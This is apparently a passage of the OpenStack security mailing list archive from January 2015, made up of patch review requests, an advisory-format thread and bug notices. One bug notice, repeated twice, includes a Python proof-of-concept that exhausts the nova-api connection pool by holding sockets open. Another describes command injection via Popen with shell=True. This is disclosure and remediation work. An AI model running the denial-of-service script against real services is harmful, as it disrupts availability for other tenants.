Subject: [Openstack-security] [stackforge/os-ansible-deployment] SecurityImpact review request change I78716b737b37feab8b21d6e765a349e4e6724bf6 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/148661 Log: commit 877988f78290d55ea59c1ee61ed53828ac84b559 Author: Ian Cordasco Date: Thu Jan 15 11:28:33 2015 -0600 Use HTTPS when installing from mirror.rackspace.com SecurityImpact Closes-bug: 1411331 Conflicts: requirements.txt rpc_deployment/inventory/group_vars/all.yml scripts/os-ansible-aio-check.sh Change-Id: I78716b737b37feab8b21d6e765a349e4e6724bf6 (cherry picked from commit 28b6c2da9c4138b8f05b673174c7560d6c8efe07) From gerrit2 at review.openstack.org Tue Jan 20 17:25:47 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Tue, 20 Jan 2015 17:25:47 +0000 Subject: [Openstack-security] [stackforge/os-ansible-deployment] SecurityImpact review request change I78716b737b37feab8b21d6e765a349e4e6724bf6 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/148666 Log: commit f5ba248834b87247b9f190223faa2b81cbba586c Author: Ian Cordasco Date: Thu Jan 15 11:28:33 2015 -0600 Use HTTPS when installing from mirror.rackspace.com SecurityImpact Closes-bug: 1411331 Conflicts: requirements.txt rpc_deployment/inventory/group_vars/all.yml Change-Id: I78716b737b37feab8b21d6e765a349e4e6724bf6 (cherry picked from commit 28b6c2da9c4138b8f05b673174c7560d6c8efe07) From matt at nycresistor.com Tue Jan 20 17:58:00 2015 From: matt at nycresistor.com (matt) Date: Tue, 20 Jan 2015 09:58:00 -0800 Subject: [Openstack-security] OSSA's in db format? Message-ID: Are the OSSA's available anywhere in db format yet? Or at least a csv or something parseable? I have up until 2012 in json... but I'd rather not have to manually parse emails to get the rest. -Matt -------------- next part -------------- An HTML attachment was scrubbed... URL: From grant.murphy at hp.com Tue Jan 20 18:08:06 2015 From: grant.murphy at hp.com (Murphy, Grant) Date: Tue, 20 Jan 2015 18:08:06 +0000 Subject: [Openstack-security] OSSA's in db format? In-Reply-To: References: Message-ID: Hi Matt, We have most advisories now in a .yaml format [1]. A way to import these into a SQL database is on my todo list. 1. http://git.openstack.org/cgit/openstack/ossa/tree/ossa - Grant From: matt > Date: Tuesday, January 20, 2015 at 9:58 AM To: "openstack-security at lists.openstack.org" > Subject: [Openstack-security] OSSA's in db format? Are the OSSA's available anywhere in db format yet? Or at least a csv or something parseable? I have up until 2012 in json... but I'd rather not have to manually parse emails to get the rest. -Matt From matt at nycresistor.com Tue Jan 20 18:13:50 2015 From: matt at nycresistor.com (matt) Date: Tue, 20 Jan 2015 10:13:50 -0800 Subject: [Openstack-security] OSSA's in db format? In-Reply-To: References: Message-ID: I kind of want to hug you man. On Tue, Jan 20, 2015 at 10:08 AM, Murphy, Grant wrote: > Hi Matt, > > We have most advisories now in a .yaml format [1]. A way to import these > into a SQL database is on my todo list. > > 1. http://git.openstack.org/cgit/openstack/ossa/tree/ossa > > - Grant > > From: matt > > Date: Tuesday, January 20, 2015 at 9:58 AM > To: "openstack-security at lists.openstack.org openstack-security at lists.openstack.org>" < > openstack-security at lists.openstack.org openstack-security at lists.openstack.org>> > Subject: [Openstack-security] OSSA's in db format? > > Are the OSSA's available anywhere in db format yet? Or at least a csv or > something parseable? > > I have up until 2012 in json... but I'd rather not have to manually parse > emails to get the rest. > > -Matt > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From tristan.cacqueray at enovance.com Tue Jan 20 18:14:09 2015 From: tristan.cacqueray at enovance.com (Tristan Cacqueray) Date: Tue, 20 Jan 2015 13:14:09 -0500 Subject: [Openstack-security] OSSA's in db format? In-Reply-To: References: Message-ID: <54BE9AF1.6030004@enovance.com> On 01/20/2015 12:58 PM, matt wrote: > Are the OSSA's available anywhere in db format yet? Or at least a csv or > something parseable? > > I have up until 2012 in json... but I'd rather not have to manually parse > emails to get the rest. > > -Matt > > Hi Matt, the Vulnerability Management Team recently put up a repository for OSSAs: http://git.openstack.org/cgit/openstack/ossa/ OSSAs are now stored using a yaml format, e.g.: http://git.openstack.org/cgit/openstack/ossa/tree/ossa/OSSA-2014-041.yaml And they are being published there: http://security.openstack.org/ Please note that is still a work in progress as we are trying to improve our publication process using a gate job to render final documents. Feedbacks are most welcomed! -- Tristan Cacqueray OpenStack Vulnerability Management Team -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 473 bytes Desc: OpenPGP digital signature URL: From matt at nycresistor.com Tue Jan 20 18:19:18 2015 From: matt at nycresistor.com (matt) Date: Tue, 20 Jan 2015 10:19:18 -0800 Subject: [Openstack-security] OSSA's in db format? In-Reply-To: <54BE9AF1.6030004@enovance.com> References: <54BE9AF1.6030004@enovance.com> Message-ID: Awesome work. Would love to start seeing some of the distro specific vulnerabilities / supporting python vulnerabilities show up from mitre / etc as well. On Tue, Jan 20, 2015 at 10:14 AM, Tristan Cacqueray < tristan.cacqueray at enovance.com> wrote: > On 01/20/2015 12:58 PM, matt wrote: > > Are the OSSA's available anywhere in db format yet? Or at least a csv or > > something parseable? > > > > I have up until 2012 in json... but I'd rather not have to manually parse > > emails to get the rest. > > > > -Matt > > > > > > Hi Matt, > > the Vulnerability Management Team recently put up a repository for OSSAs: > http://git.openstack.org/cgit/openstack/ossa/ > > OSSAs are now stored using a yaml format, e.g.: > > http://git.openstack.org/cgit/openstack/ossa/tree/ossa/OSSA-2014-041.yaml > > And they are being published there: > http://security.openstack.org/ > > > Please note that is still a work in progress as we are trying to improve > our publication process using a gate job to render final documents. > > Feedbacks are most welcomed! > > > -- > Tristan Cacqueray > OpenStack Vulnerability Management Team > > > _______________________________________________ > Openstack-security mailing list > Openstack-security at lists.openstack.org > http://lists.openstack.org/cgi-bin/mailman/listinfo/openstack-security > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From gerrit2 at review.openstack.org Tue Jan 20 18:33:16 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Tue, 20 Jan 2015 18:33:16 +0000 Subject: [Openstack-security] [openstack/nova] SecurityImpact review request change Idbe37922c5f944e3d567ce16913ce5d87af41fef Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/141485 Log: commit d949343c13f1d552d93f18e8e5bb3544ee7f534f Author: Daniel Genin Date: Tue Jan 20 13:32:24 2015 -0500 libvirt: Disconnect dm-crypt on instance suspend/stop Strengthens protection provided by ephemeral storage encryption feature by disconnecting the dm-crypt device, which provides access to unencrypted disk, when an encrypted instance is suspended or stopped. Implements: blueprint stop-dmcrypt-on-suspend SecurityImpact Change-Id: Idbe37922c5f944e3d567ce16913ce5d87af41fef From gerrit2 at review.openstack.org Tue Jan 20 20:01:16 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Tue, 20 Jan 2015 20:01:16 +0000 Subject: [Openstack-security] [stackforge/os-ansible-deployment] SecurityImpact review request change I78716b737b37feab8b21d6e765a349e4e6724bf6 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/148666 Log: commit e0495945719d9c19bf2054d8dc3cd979e47fb5f0 Author: Ian Cordasco Date: Thu Jan 15 11:28:33 2015 -0600 Use HTTPS when installing from mirror.rackspace.com SecurityImpact Closes-bug: 1411331 Conflicts: requirements.txt rpc_deployment/inventory/group_vars/all.yml Change-Id: I78716b737b37feab8b21d6e765a349e4e6724bf6 (cherry picked from commit 28b6c2da9c4138b8f05b673174c7560d6c8efe07) From gerrit2 at review.openstack.org Tue Jan 20 20:01:39 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Tue, 20 Jan 2015 20:01:39 +0000 Subject: [Openstack-security] [stackforge/os-ansible-deployment] SecurityImpact review request change I78716b737b37feab8b21d6e765a349e4e6724bf6 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/148661 Log: commit 7819d72e1ee4976b86e6df5f5531a09b3d3f9c4d Author: Ian Cordasco Date: Thu Jan 15 11:28:33 2015 -0600 Use HTTPS when installing from mirror.rackspace.com SecurityImpact Closes-bug: 1411331 Conflicts: requirements.txt rpc_deployment/inventory/group_vars/all.yml scripts/os-ansible-aio-check.sh Change-Id: I78716b737b37feab8b21d6e765a349e4e6724bf6 (cherry picked from commit 28b6c2da9c4138b8f05b673174c7560d6c8efe07) From gerrit2 at review.openstack.org Tue Jan 20 20:45:32 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Tue, 20 Jan 2015 20:45:32 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I9236cc85f4e9881ac1aa35d69bc6761a59c1b6c8 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/80178 Log: commit e8822691ef8ece3c579e7224d399fd5579977cb2 Author: Fei Long Wang Date: Thu Mar 13 13:30:05 2014 +0800 Make digest algorithm configurable It would be great to enhance Glance to use minimum of SHA2 to do digital signature for FIPS compliance. Since in FIPS(FEDERAL INFORMATION PROCESSING STANDARDS) says the SHA-1 is not suitable for general-purpose digital signature applications (as specified in FIPS 186-3) that require 112 bits of security. In the case of digital signatures, SHA-1 does not provide the 112 bits of collision resistance needed to achieve the security strength. Now we're using hardcode 'sha1'. So this patch will make it configurable firstly and set the default value as sha1 in Kilo for smooth upgrade, which will be changed with sha256 in next release(L). DocImpact UpgradeImapact SecurityImpact Closes-Bug: #1288545 Change-Id: I9236cc85f4e9881ac1aa35d69bc6761a59c1b6c8 From gerrit2 at review.openstack.org Wed Jan 21 15:49:52 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 21 Jan 2015 15:49:52 +0000 Subject: [Openstack-security] [stackforge/os-ansible-deployment] SecurityImpact review request change I78716b737b37feab8b21d6e765a349e4e6724bf6 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/148661 Log: commit 5300170111f9c9d0fbdf96abb0823971e0dbc1de Author: Ian Cordasco Date: Thu Jan 15 11:28:33 2015 -0600 Use HTTPS when installing from mirror.rackspace.com SecurityImpact Closes-Bug: #1411331 Related-Bug: #1409762 Conflicts: requirements.txt rpc_deployment/inventory/group_vars/all.yml scripts/os-ansible-aio-check.sh Change-Id: I78716b737b37feab8b21d6e765a349e4e6724bf6 (cherry picked from commit 28b6c2da9c4138b8f05b673174c7560d6c8efe07) From gerrit2 at review.openstack.org Wed Jan 21 16:24:05 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 21 Jan 2015 16:24:05 +0000 Subject: [Openstack-security] [openstack/keystone-specs] SecurityImpact review request change Iada45a46ef48e3f6d2ce6d52dd529dd0dadaea7f Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/105913 Log: commit 178a874326edd523c3862355123abf7f6a5d43a7 Author: Guang Yee Date: Wed Jul 9 16:11:07 2014 -0700 Tokenless authorization with X.509 SSL client certificate Spec for tokenless authorization with X.509 SSL client certificate SecurityImpact bp x509-ssl-client-cert-authn Change-Id: Iada45a46ef48e3f6d2ce6d52dd529dd0dadaea7f From gerrit2 at review.openstack.org Wed Jan 21 16:45:24 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 21 Jan 2015 16:45:24 +0000 Subject: [Openstack-security] [openstack/keystone-specs] SecurityImpact review request change Iada45a46ef48e3f6d2ce6d52dd529dd0dadaea7f Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/105913 Log: commit 50e6178b406f958fc9ae314fe0bfa3516fef2a21 Author: Guang Yee Date: Wed Jul 9 16:11:07 2014 -0700 Tokenless authorization with X.509 SSL client certificate Spec for tokenless authorization with X.509 SSL client certificate SecurityImpact bp x509-ssl-client-cert-authn Change-Id: Iada45a46ef48e3f6d2ce6d52dd529dd0dadaea7f From 1361360 at bugs.launchpad.net Wed Jan 21 18:25:06 2015 From: 1361360 at bugs.launchpad.net (OpenStack Infra) Date: Wed, 21 Jan 2015 18:25:06 -0000 Subject: [Openstack-security] [Bug 1361360] Fix merged to neutron (stable/juno) References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150121182507.29159.9697.malone@gac.canonical.com> Reviewed: https://review.openstack.org/144708 Committed: https://git.openstack.org/cgit/openstack/neutron/commit/?id=a89ae1bd93dea2dd1902c1d49572329f6646abcc Submitter: Jenkins Branch: stable/juno commit a89ae1bd93dea2dd1902c1d49572329f6646abcc Author: abhishekkekane Date: Tue Oct 21 04:15:15 2014 -0700 Eventlet green threads not released back to pool Presently, the wsgi server allows persist connections. Hence even after the response is sent to the client, it doesn't close the client socket connection. Because of this problem, the green thread is not released back to the pool. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Added a parameter to take advantage of the new(ish) eventlet socket timeout behaviour. Allows closing idle client connections after a period of time, eg: $ time nc localhost 8776 real 1m0.063s Setting 'client_socket_timeout = 0' means do not timeout. DocImpact: Added wsgi_keep_alive option (default=True). Added client_socket_timeout option (default=900). SecurityImpact Closes-Bug: #1361360 Change-Id: I3a361d6590d1800b85791f23ac1cdfd79815341b (cherry picked from commit 8e7a0dbb12082f6159d98a4628fb8a6fcd05e95a) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Committed Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): In Progress Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Committed Status in neutron icehouse series: New Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: New Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara, ex. Savanna): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From gerrit2 at review.openstack.org Wed Jan 21 19:12:00 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 21 Jan 2015 19:12:00 +0000 Subject: [Openstack-security] [stackforge/os-ansible-deployment] SecurityImpact review request change I78716b737b37feab8b21d6e765a349e4e6724bf6 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/148661 Log: commit 56f4ba03bd8196e9d504b0518f24a3f311036260 Author: Ian Cordasco Date: Thu Jan 15 11:28:33 2015 -0600 Use HTTPS when installing from mirror.rackspace.com SecurityImpact Closes-Bug: #1411331 Related-Bug: #1409762 Conflicts: requirements.txt rpc_deployment/inventory/group_vars/all.yml scripts/os-ansible-aio-check.sh Change-Id: I78716b737b37feab8b21d6e765a349e4e6724bf6 (cherry picked from commit 28b6c2da9c4138b8f05b673174c7560d6c8efe07) From gerrit2 at review.openstack.org Wed Jan 21 22:40:05 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 21 Jan 2015 22:40:05 +0000 Subject: [Openstack-security] [openstack/keystone-specs] SecurityImpact review request change Iada45a46ef48e3f6d2ce6d52dd529dd0dadaea7f Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/105913 Log: commit ef189cedcc4f89ad11a14b4f021634e08adf42f0 Author: Guang Yee Date: Wed Jul 9 16:11:07 2014 -0700 Tokenless authorization with X.509 SSL client certificate Spec for tokenless authorization with X.509 SSL client certificate SecurityImpact bp keystone-tokenless-authz-with-x509-ssl-client-cert Change-Id: Iada45a46ef48e3f6d2ce6d52dd529dd0dadaea7f From steve.lewis at rackspace.com Thu Jan 22 01:21:02 2015 From: steve.lewis at rackspace.com (Steve Lewis) Date: Thu, 22 Jan 2015 01:21:02 -0000 Subject: [Openstack-security] [Bug 1348416] Re: Popen with shell=True References: <20140724231826.32391.31334.malonedeb@chaenomeles.canonical.com> Message-ID: <20150122012105.29781.84040.launchpad@wampee.canonical.com> ** Changed in: glance Assignee: (unassigned) => Steve Lewis (steve-lewis) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1348416 Title: Popen with shell=True Status in OpenStack Image Registry and Delivery Service (Glance): Confirmed Status in OpenStack Security Advisories: Won't Fix Bug description: Glance uses subprocess.Popen with shell=True in glance/tests/unit/test_migrations.py line 175 in function _reset_datases: def execute_cmd(cmd=None): proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True) If execute_cmd contains, either accidentally or maliciously, a double quote then arbitrary data will be executed. Popen should be called with an argument list instead of directly through the shell. For more information on subprocess, shell=True and command injection see: https://docs.python.org/2/library/subprocess.html#frequently-used- arguments Since these are unit tests and the likelihood of malicious input is low the severity should also be low. To manage notifications about this bug go to: https://bugs.launchpad.net/glance/+bug/1348416/+subscriptions From gerrit2 at review.openstack.org Thu Jan 22 01:35:28 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Thu, 22 Jan 2015 01:35:28 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I9236cc85f4e9881ac1aa35d69bc6761a59c1b6c8 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/80178 Log: commit 1dcf5a32312be5824dc955766743dbac751677d2 Author: Fei Long Wang Date: Thu Jan 22 14:22:09 2015 +1300 Make digest algorithm configurable It would be great to enhance Glance to use minimum of SHA2 to do digital signature for FIPS compliance. Since in FIPS(FEDERAL INFORMATION PROCESSING STANDARDS) says the SHA-1 is not suitable for general-purpose digital signature applications (as specified in FIPS 186-3) that require 112 bits of security. In the case of digital signatures, SHA-1 does not provide the 112 bits of collision resistance needed to achieve the security strength. Now we're using hardcode 'sha1'. So this patch will make it configurable firstly and set the default value as sha1 in Kilo for smooth upgrade, which will be changed with sha256 in next release(L). DocImpact UpgradeImapact SecurityImpact Closes-Bug: #1288545 Change-Id: I9236cc85f4e9881ac1aa35d69bc6761a59c1b6c8 From 1348416 at bugs.launchpad.net Thu Jan 22 01:33:49 2015 From: 1348416 at bugs.launchpad.net (OpenStack Infra) Date: Thu, 22 Jan 2015 01:33:49 -0000 Subject: [Openstack-security] [Bug 1348416] Re: Popen with shell=True References: <20140724231826.32391.31334.malonedeb@chaenomeles.canonical.com> Message-ID: <20150122013349.29159.6907.malone@gac.canonical.com> Fix proposed to branch: master Review: https://review.openstack.org/149111 ** Changed in: glance Status: Confirmed => In Progress -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1348416 Title: Popen with shell=True Status in OpenStack Image Registry and Delivery Service (Glance): In Progress Status in OpenStack Security Advisories: Won't Fix Bug description: Glance uses subprocess.Popen with shell=True in glance/tests/unit/test_migrations.py line 175 in function _reset_datases: def execute_cmd(cmd=None): proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True) If execute_cmd contains, either accidentally or maliciously, a double quote then arbitrary data will be executed. Popen should be called with an argument list instead of directly through the shell. For more information on subprocess, shell=True and command injection see: https://docs.python.org/2/library/subprocess.html#frequently-used- arguments Since these are unit tests and the likelihood of malicious input is low the severity should also be low. To manage notifications about this bug go to: https://bugs.launchpad.net/glance/+bug/1348416/+subscriptions From gerrit2 at review.openstack.org Thu Jan 22 01:41:27 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Thu, 22 Jan 2015 01:41:27 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I9236cc85f4e9881ac1aa35d69bc6761a59c1b6c8 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/80178 Log: commit d220c61e944262d251180902eee48abf6fbe696c Author: Fei Long Wang Date: Thu Jan 22 14:22:09 2015 +1300 Make digest algorithm configurable It would be great to enhance Glance to use minimum of SHA2 to do digital signature for FIPS compliance. Since in FIPS(FEDERAL INFORMATION PROCESSING STANDARDS) says the SHA-1 is not suitable for general-purpose digital signature applications (as specified in FIPS 186-3) that require 112 bits of security. In the case of digital signatures, SHA-1 does not provide the 112 bits of collision resistance needed to achieve the security strength. Now we're using hardcode 'sha1'. So this patch will make it configurable firstly and set the default value as sha1 in Kilo for smooth upgrade, which will be changed with sha256 in next release(L). DocImpact UpgradeImapact SecurityImpact Closes-Bug: #1288545 Change-Id: I9236cc85f4e9881ac1aa35d69bc6761a59c1b6c8 From steve.lewis at rackspace.com Thu Jan 22 01:36:44 2015 From: steve.lewis at rackspace.com (Steve Lewis) Date: Thu, 22 Jan 2015 01:36:44 -0000 Subject: [Openstack-security] [Bug 1348416] Re: Popen with shell=True References: <20140724231826.32391.31334.malonedeb@chaenomeles.canonical.com> Message-ID: <20150122013644.29200.78134.malone@gac.canonical.com> The point of concern in the description (glance/tests/unit/test_migrations.py) is no longer vulnerable as the tests there no longer rely on a call to subprocess.Popen directly. The other point of concern from the comments was glance.tests.utils and this can safely be refactored to eliminate the use of shell=True as none of the callers need a shell. The callers simply need to have their cmd string correctly split to an args list. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1348416 Title: Popen with shell=True Status in OpenStack Image Registry and Delivery Service (Glance): In Progress Status in OpenStack Security Advisories: Won't Fix Bug description: Glance uses subprocess.Popen with shell=True in glance/tests/unit/test_migrations.py line 175 in function _reset_datases: def execute_cmd(cmd=None): proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True) If execute_cmd contains, either accidentally or maliciously, a double quote then arbitrary data will be executed. Popen should be called with an argument list instead of directly through the shell. For more information on subprocess, shell=True and command injection see: https://docs.python.org/2/library/subprocess.html#frequently-used- arguments Since these are unit tests and the likelihood of malicious input is low the severity should also be low. To manage notifications about this bug go to: https://bugs.launchpad.net/glance/+bug/1348416/+subscriptions From gerrit2 at review.openstack.org Thu Jan 22 02:05:53 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Thu, 22 Jan 2015 02:05:53 +0000 Subject: [Openstack-security] [openstack/glance-specs] SecurityImpact review request change If5047942f03915cc4b1e42a586cf403a4eceab58 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/149112 Log: commit af4c02558f18f57a23ba0b269e11dd8b410e2ada Author: Ian Cordasco Date: Wed Jan 21 19:36:03 2015 -0600 Pass Targets to Glance's Policy Enforcer SecurityImpact Change-Id: If5047942f03915cc4b1e42a586cf403a4eceab58 From msm at redhat.com Thu Jan 22 17:37:18 2015 From: msm at redhat.com (michael mccune) Date: Thu, 22 Jan 2015 12:37:18 -0500 Subject: [Openstack-security] Looking to setup a meeting for discussion of data processing chapter Message-ID: <54C1354E.5040406@redhat.com> hey folks, i'm looking to setup a time for a google hangout to talk about some issues with the creation of the data processing chapter for the security guide. one of the areas that is becoming problematic with regards to the documentation is the boundaries that we will draw for advice. the data processing service deploys several technologies(e.g. Hadoop) which have quite deep security related configurations. there is concern that we will not be able to cover these as well as the upstream communities. also, i have a few questions in terms of the scope of our effort in general. i have an etherpad[1] up with the ideas that i've been compiling for the chapter content. i welcome comments to be added inline, this is very much work in progress. thanks, mike [1]: https://etherpad.openstack.org/p/sahara-security-guide-notes From 1361360 at bugs.launchpad.net Thu Jan 22 17:34:34 2015 From: 1361360 at bugs.launchpad.net (OpenStack Infra) Date: Thu, 22 Jan 2015 17:34:34 -0000 Subject: [Openstack-security] [Bug 1361360] Fix merged to cinder (stable/juno) References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150122173434.28603.8415.malone@gac.canonical.com> Reviewed: https://review.openstack.org/140304 Committed: https://git.openstack.org/cgit/openstack/cinder/commit/?id=f88dc8495f7ec5dc7f1b01c43f0237141af6b98f Submitter: Jenkins Branch: stable/juno commit f88dc8495f7ec5dc7f1b01c43f0237141af6b98f Author: Stuart McLaren Date: Fri Sep 5 12:48:04 2014 +0000 Add client_socket_timeout option Add a parameter to take advantage of the new(ish) eventlet socket timeout behaviour. Allows closing idle client connections after a period of time, eg: $ time nc localhost 8776 real 1m0.063s Setting 'client_socket_timeout = 0' means do not timeout. DocImpact: Added client_socket_timeout option (default=0). Conflicts: cinder/wsgi.py etc/cinder/cinder.conf.sample Note: This patch is not 1:1 cherry-pick, I have changed the default value of client_socket_timeout to 0. Change-Id: If492810a2f10fa5954f8c8bb708b14be0b77fb90 Closes-bug: #1361360 Closes-bug: #1371022 (cherry picked from commit 08bfa77aeccb8ca589e3fb5cf9771879818f59de) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Committed Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): In Progress Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Committed Status in neutron icehouse series: New Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: New Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara, ex. Savanna): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From gerrit2 at review.openstack.org Thu Jan 22 20:20:04 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Thu, 22 Jan 2015 20:20:04 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I47229b366c25367ec1bd48aec684e0880f3dfe60 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/149387 Log: commit 